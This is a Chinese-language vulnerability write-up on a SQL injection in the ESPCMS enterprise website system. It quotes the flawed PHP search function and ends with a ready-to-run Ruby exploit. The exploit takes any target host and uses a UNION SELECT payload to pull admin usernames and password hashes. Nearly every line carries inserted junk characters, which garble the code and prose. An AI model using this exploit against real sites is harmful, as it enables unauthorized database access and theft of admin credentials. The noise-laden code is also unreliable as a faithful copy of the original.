0×0 漏洞概述0×1 漏洞细节
/ _3 a3 [% p7 |7 n( x' X f/ p0×2 PoC
4 R! K E$ M; X- O+ P5 j1 E( E! B U" E) {
9 j' m, n s2 `8 u
" G. t% t/ L; E1 v5 H, w
0×0 漏洞概述0 G2 ~" s- Q; o
8 }1 L A; ^: i- O! z- n; V易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
, m3 M5 d+ j5 n) v' \8 f8 E其在处理传入的参数时考虑不严谨导致SQL注入发生. H# N# h1 C2 e: w" w( H
, _: p3 R2 c, H4 p. Y4 e, c8 E
8 }' g8 H! N( l' @7 ~9 E2 j0×1 漏洞细节' q" q: @" d! l8 q& i
; L; `; O" f5 }- ?
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
; a: q' H; e0 {( w( ^. E正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。% P0 d# s! X/ {" _- O5 Y
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。* g) C) N. a- _$ b
: E5 U3 Y7 p1 |7 E6 h! q在/interface/3gwap_search.php文件的in_result函数中:$ \; O3 ?6 Z/ v# K0 N! b
2 `9 @( Y0 U8 d, K+ {8 j2 D0 |7 j( x0 C/ ]) u9 |: l
: {7 l! J- H5 Q5 {+ v' M function in_result() {
4 G. v9 T9 ~5 g* Y4 B* x ... ... ... ... ... ... ... ... ...+ M D2 w& X6 A+ f0 v: J
$urlcode = $_SERVER[ 'QUERY_STRING '];
: U0 Z" x b+ q3 o: p9 S0 } parse_str(html_entity_decode($urlcode), $output);* k5 ^6 I; f. z! X( V! `9 h
! A& |; d/ A. Q# O ... ... ... ... ... ... ... ... ...4 f" y5 ~# W6 g7 u+ i1 W4 ^8 d
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
( F3 i+ A E" v9 y9 @8 m- s, H8 _% K8 L9 t% H6 [
$db_table = db_prefix . 'model_att';
; |0 t5 B4 D* {% j/ A D( _% t$ A3 I; @
foreach ($output['attr' ] as $key => $value) {
, R0 z4 ^ c( I: _- |- N0 i/ W if ($value) {
! d6 n( L: @1 X: r) h9 B
: e# m' n) f, l! x $key = addslashes($key);: Y9 |6 Y4 O$ Q
$key = $this-> fun->inputcodetrim($key);
( O! a1 I- c" g o8 C0 F D/ M $db_att_where = " WHERE isclass=1 AND attrname='$key'";0 e) N% }/ H2 n" Y
$countnum = $this->db_numrows($db_table, $db_att_where);: t( u4 f& j6 ^
if ($countnum > 0) {, l* B# `2 T8 i: ]5 b1 m" N# |
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
9 e, O+ a, p% L! A }0 n: n- F$ u& Y! K, [
}9 P, k2 }: G2 B( c8 M/ E$ W! R
}
# k8 K! Q- `$ v0 W) M) T$ T% G }
6 s( V1 F# t7 \+ g) b if (!empty ($keyword) && empty($keyname)) {2 }( n. G' v" K8 {# M- `8 a7 v
$keyname = 'title';+ T# Y; M/ p j# l! o+ T
$db_where.= " AND a.title like '%$keyword%'" ;* I" q4 D0 O2 u2 Y
} elseif (!empty ($keyword) && !empty($keyname)) {9 c. u' G8 v% S, C. ^1 B# r8 F
$db_where.= " AND $keyname like '% $keyword%'";; ~+ h( W6 ~2 ]
}9 s& [; ^6 M5 g9 E. F: C. }$ a0 [! a
$pagemax = 15;0 U) u2 d+ {2 \
% x& X) t6 b) M9 r/ v. j Y+ } $pagesylte = 1;8 E8 y, F6 J; V! ?; _
b3 {4 @+ t* R6 _ if ($countnum > 0) {
" {% V- S; m' [$ C
# \; o; l3 B2 j $numpage = ceil($countnum / $pagemax);9 S* \( D/ n5 M U% }
} else {
; y9 K) L8 B# u7 H8 M $numpage = 1;
. J- ~) C7 m- x" L+ V: j9 T% H }; B0 ]+ y* G/ H" ] O6 H4 `
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
- P+ A0 ^4 t L+ z4 ] $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);- t3 Y$ Q$ h& d3 s p
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
$ L2 c" U: K; M2 N! R. K2 U$ _ w ... ... ... ... ... ... ... ... ...: Y" k+ l9 J6 l, q
}# C+ p0 C* U; B1 z2 X9 m7 p
0 ~& g. _3 b q# _! X/ V @# k" J* M% r/ \ {8 A9 N
0×2 PoC
$ m8 X1 r4 A! a$ \& Q; V* t+ z8 y1 O) R5 j
0 I# A4 L" `# V# m) B8 ~+ z; b" g* o% q
require "net/http"
+ M# z, ?' B8 o% H8 M3 m% O! w2 s- X8 {# z
def request(method, url) B! O, o$ k( i; H1 l
if method.eql?("get")6 @# Z9 L+ s& T0 a/ {
uri = URI.parse(url)" M2 k& d& }1 {& j
http = Net::HTTP.new(uri.host, uri.port)& t8 J# s( I+ w+ q% R" [
response = http.request(Net::HTTP::Get.new(uri.request_uri))
! u6 p! h/ o1 a* H return response/ r. n, m, H& q7 P% I' D) o
end, ]' k* H* f6 x$ {3 T* |
end
$ u9 K' \ M3 y' r- Z7 x2 G* c) d* ~# q
doc =<<HERE
1 o7 \+ ?" z( q5 ]-------------------------------------------------------
4 F1 O0 v% z5 z }6 Q2 JEspcms Injection Exploit
- w3 V1 `2 `" Z+ j) i; P9 YAuthor:ztz
6 e/ d* J+ y* {* a n7 y, ABlog:http://ztz.fuzzexp.org/* {. q) N+ H* t8 A$ {3 U% s7 S
-------------------------------------------------------
# D4 m" C. v+ C3 b/ L8 ?9 m
9 j3 _ i4 O/ W: J: XHERE
( P% ~1 y0 S$ X' `
2 |, g/ R1 |' d1 w6 @* ?( U- Q* iusage =<<HERE
9 g. M! O3 r: x4 X6 N1 W5 T OUsage: ruby #{$0} host port path3 r* Y& E5 B0 Q. {( Z6 a
example: ruby #{$0} www.target.com 80 /
5 z, v* c% e: x5 M O1 z/ ^8 @7 uHERE$ v6 w+ r E; r# T0 b
4 T" ?( T, C2 v: B
puts doc% y# C. a( h8 g8 m* I$ W! G
if ARGV.length < 3/ @- B2 V- Q( G5 X3 X1 q2 R
puts usage
/ J- F. z; x# m* w' P" ^. X7 ~8 [# Eelse
8 @/ S l/ L, l! h( s. r/ H6 ~ $host = ARGV[0]
0 ]5 |1 z: P7 L0 d $port = ARGV[1]
8 f* q8 [' N: o3 _ $path = ARGV[2]; z$ D9 f9 S. C# |/ _
4 a0 X9 @$ t* `' _0 E; U
puts "send request..."
( E' m0 U$ A0 }9 s# W url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1& x- m0 ?8 \2 ?# K
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
0 a/ ?3 ?% G: k. ~,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
: b4 E. A$ H& \# q3 C. [,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
; n( b8 p; c' B response = request("get", url)7 w" s0 f" d; N4 a2 K
result = response.body.scan(/\w+&\w{32}/)
5 O( e/ K) @# i/ m- f puts result+ q4 W+ G8 d& _2 x& L! [* U" S
end
/ U; R9 A$ N8 u
1 {; s1 t( X' t: M8 c5 H |